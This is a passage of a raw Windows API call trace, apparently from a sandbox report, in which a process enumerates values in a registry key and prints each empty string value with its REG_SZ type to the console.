lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.171] GetProcessHeap () returned 0x3c0000 [0150.171] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.171] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.171] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.172] GetProcessHeap () returned 0x3c0000 [0150.172] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.172] GetProcessHeap () returned 0x3c0000 [0150.172] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.172] GetProcessHeap () returned 0x3c0000 [0150.172] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.172] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.172] __iob_func () returned 0x7fefd702a80 [0150.172] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.172] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.172] _fileno (_File=0x7fefd702ab0) returned 1 [0150.172] _errno () returned 0x204bb0 [0150.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.172] _errno () returned 0x204bb0 [0150.172] GetFileType (hFile=0x50) returned 0x1 [0150.172] lstrlenW (lpString=" ") returned 4 [0150.172] GetConsoleOutputCP () returned 0x1b5 [0150.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.172] GetConsoleOutputCP () returned 0x1b5 [0150.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.173] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.173] __iob_func () returned 0x7fefd702a80 [0150.173] _fileno (_File=0x7fefd702ab0) returned 1 [0150.173] _errno () returned 0x204bb0 [0150.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.173] _errno () returned 0x204bb0 [0150.173] GetFileType (hFile=0x50) returned 0x1 [0150.173] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.173] GetConsoleOutputCP () returned 0x1b5 [0150.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.173] GetConsoleOutputCP () returned 0x1b5 [0150.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.173] __iob_func () returned 0x7fefd702a80 [0150.173] _fileno (_File=0x7fefd702ab0) returned 1 [0150.173] _errno () returned 0x204bb0 [0150.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.173] _errno () returned 0x204bb0 [0150.173] GetFileType (hFile=0x50) returned 0x1 [0150.173] lstrlenW (lpString=" ") returned 4 [0150.173] GetConsoleOutputCP () returned 0x1b5 [0150.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.174] GetConsoleOutputCP () returned 0x1b5 [0150.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.174] __iob_func () returned 0x7fefd702a80 [0150.174] _fileno (_File=0x7fefd702ab0) returned 1 [0150.174] _errno () returned 0x204bb0 [0150.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.174] _errno () returned 0x204bb0 [0150.174] GetFileType (hFile=0x50) returned 0x1 [0150.174] lstrlenW (lpString="REG_SZ") returned 6 [0150.174] GetConsoleOutputCP () returned 0x1b5 [0150.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.174] GetConsoleOutputCP () returned 0x1b5 [0150.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.174] __iob_func () returned 0x7fefd702a80 [0150.174] _fileno (_File=0x7fefd702ab0) returned 1 [0150.175] _errno () returned 0x204bb0 [0150.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.175] _errno () returned 0x204bb0 [0150.175] GetFileType (hFile=0x50) returned 0x1 [0150.175] lstrlenW (lpString=" ") returned 4 [0150.175] GetConsoleOutputCP () returned 0x1b5 [0150.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.175] GetConsoleOutputCP () returned 0x1b5 [0150.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.175] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.175] __iob_func () returned 0x7fefd702a80 [0150.175] _fileno (_File=0x7fefd702ab0) returned 1 [0150.175] _errno () returned 0x204bb0 [0150.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.175] _errno () returned 0x204bb0 [0150.175] GetFileType (hFile=0x50) returned 0x1 [0150.175] lstrlenW (lpString="") returned 0 [0150.175] __iob_func () returned 0x7fefd702a80 [0150.175] _fileno (_File=0x7fefd702ab0) returned 1 [0150.175] _errno () returned 0x204bb0 [0150.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.175] _errno () returned 0x204bb0 [0150.175] GetFileType (hFile=0x50) returned 0x1 [0150.175] lstrlenW (lpString="\n") returned 1 [0150.175] GetConsoleOutputCP () returned 0x1b5 [0150.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.176] GetConsoleOutputCP () returned 0x1b5 [0150.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.176] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.176] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.176] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.176] GetProcessHeap () returned 0x3c0000 [0150.176] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.176] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.176] __iob_func () returned 0x7fefd702a80 [0150.176] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.176] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.176] _fileno (_File=0x7fefd702ab0) returned 1 [0150.176] _errno () returned 0x204bb0 [0150.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.176] _errno () returned 0x204bb0 [0150.176] GetFileType (hFile=0x50) returned 0x1 [0150.177] lstrlenW (lpString=" ") returned 4 [0150.177] GetConsoleOutputCP () returned 0x1b5 [0150.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.177] GetConsoleOutputCP () returned 0x1b5 [0150.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.177] lstrlenW (lpString="Comments") returned 8 [0150.177] __iob_func () returned 0x7fefd702a80 [0150.177] _fileno (_File=0x7fefd702ab0) returned 1 [0150.177] _errno () returned 0x204bb0 [0150.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.177] _errno () returned 0x204bb0 [0150.177] GetFileType (hFile=0x50) returned 0x1 [0150.177] lstrlenW (lpString="Comments") returned 8 [0150.177] GetConsoleOutputCP () returned 0x1b5 [0150.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.177] GetConsoleOutputCP () returned 0x1b5 [0150.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.178] __iob_func () returned 0x7fefd702a80 [0150.178] _fileno (_File=0x7fefd702ab0) returned 1 [0150.178] _errno () returned 0x204bb0 [0150.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.178] _errno () returned 0x204bb0 [0150.178] GetFileType (hFile=0x50) returned 0x1 [0150.178] lstrlenW (lpString=" ") returned 4 [0150.178] GetConsoleOutputCP () returned 0x1b5 [0150.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.178] GetConsoleOutputCP () returned 0x1b5 [0150.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.178] __iob_func () returned 0x7fefd702a80 [0150.178] _fileno (_File=0x7fefd702ab0) returned 1 [0150.178] _errno () returned 0x204bb0 [0150.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.178] _errno () returned 0x204bb0 [0150.178] GetFileType (hFile=0x50) returned 0x1 [0150.178] lstrlenW (lpString="REG_SZ") returned 6 [0150.178] GetConsoleOutputCP () returned 0x1b5 [0150.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.179] GetConsoleOutputCP () returned 0x1b5 [0150.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.179] __iob_func () returned 0x7fefd702a80 [0150.179] _fileno (_File=0x7fefd702ab0) returned 1 [0150.179] _errno () returned 0x204bb0 [0150.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.179] _errno () returned 0x204bb0 [0150.179] GetFileType (hFile=0x50) returned 0x1 [0150.179] lstrlenW (lpString=" ") returned 4 [0150.179] GetConsoleOutputCP () returned 0x1b5 [0150.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.179] GetConsoleOutputCP () returned 0x1b5 [0150.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.179] __iob_func () returned 0x7fefd702a80 [0150.179] _fileno (_File=0x7fefd702ab0) returned 1 [0150.179] _errno () returned 0x204bb0 [0150.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.179] _errno () returned 0x204bb0 [0150.180] GetFileType (hFile=0x50) returned 0x1 [0150.180] lstrlenW (lpString="") returned 0 [0150.180] __iob_func () returned 0x7fefd702a80 [0150.180] _fileno (_File=0x7fefd702ab0) returned 1 [0150.180] _errno () returned 0x204bb0 [0150.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.180] _errno () returned 0x204bb0 [0150.180] GetFileType (hFile=0x50) returned 0x1 [0150.180] lstrlenW (lpString="\n") returned 1 [0150.180] GetConsoleOutputCP () returned 0x1b5 [0150.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.180] GetConsoleOutputCP () returned 0x1b5 [0150.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.180] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.180] GetProcessHeap () returned 0x3c0000 [0150.180] GetProcessHeap () returned 0x3c0000 [0150.180] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.180] GetProcessHeap () returned 0x3c0000 [0150.180] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.180] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.180] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.180] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.180] GetProcessHeap () returned 0x3c0000 [0150.180] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.181] GetProcessHeap () returned 0x3c0000 [0150.181] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.181] GetProcessHeap () returned 0x3c0000 [0150.181] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.181] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.181] __iob_func () returned 0x7fefd702a80 [0150.181] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.181] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.181] _fileno (_File=0x7fefd702ab0) returned 1 [0150.181] _errno () returned 0x204bb0 [0150.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.181] _errno () returned 0x204bb0 [0150.181] GetFileType (hFile=0x50) returned 0x1 [0150.181] lstrlenW (lpString=" ") returned 4 [0150.181] GetConsoleOutputCP () returned 0x1b5 [0150.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.181] GetConsoleOutputCP () returned 0x1b5 [0150.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.181] lstrlenW (lpString="Contact") returned 7 [0150.181] __iob_func () returned 0x7fefd702a80 [0150.181] _fileno (_File=0x7fefd702ab0) returned 1 [0150.181] _errno () returned 0x204bb0 [0150.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.181] _errno () returned 0x204bb0 [0150.181] GetFileType (hFile=0x50) returned 0x1 [0150.182] lstrlenW (lpString="Contact") returned 7 [0150.182] GetConsoleOutputCP () returned 0x1b5 [0150.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.182] GetConsoleOutputCP () returned 0x1b5 [0150.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.182] __iob_func () returned 0x7fefd702a80 [0150.182] _fileno (_File=0x7fefd702ab0) returned 1 [0150.182] _errno () returned 0x204bb0 [0150.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.182] _errno () returned 0x204bb0 [0150.182] GetFileType (hFile=0x50) returned 0x1 [0150.182] lstrlenW (lpString=" ") returned 4 [0150.182] GetConsoleOutputCP () returned 0x1b5 [0150.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.182] GetConsoleOutputCP () returned 0x1b5 [0150.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.183] __iob_func () returned 0x7fefd702a80 [0150.183] _fileno (_File=0x7fefd702ab0) returned 1 [0150.183] _errno () returned 0x204bb0 [0150.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.183] _errno () returned 0x204bb0 [0150.183] GetFileType (hFile=0x50) returned 0x1 [0150.183] lstrlenW (lpString="REG_SZ") returned 6 [0150.183] GetConsoleOutputCP () returned 0x1b5 [0150.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.183] GetConsoleOutputCP () returned 0x1b5 [0150.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.183] __iob_func () returned 0x7fefd702a80 [0150.183] _fileno (_File=0x7fefd702ab0) returned 1 [0150.183] _errno () returned 0x204bb0 [0150.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.183] _errno () returned 0x204bb0 [0150.183] GetFileType (hFile=0x50) returned 0x1 [0150.183] lstrlenW (lpString=" ") returned 4 [0150.183] GetConsoleOutputCP () returned 0x1b5 [0150.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.184] GetConsoleOutputCP () returned 0x1b5 [0150.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.184] __iob_func () returned 0x7fefd702a80 [0150.184] _fileno (_File=0x7fefd702ab0) returned 1 [0150.184] _errno () returned 0x204bb0 [0150.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.184] _errno () returned 0x204bb0 [0150.184] GetFileType (hFile=0x50) returned 0x1 [0150.184] lstrlenW (lpString="") returned 0 [0150.184] __iob_func () returned 0x7fefd702a80 [0150.184] _fileno (_File=0x7fefd702ab0) returned 1 [0150.184] _errno () returned 0x204bb0 [0150.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.184] _errno () returned 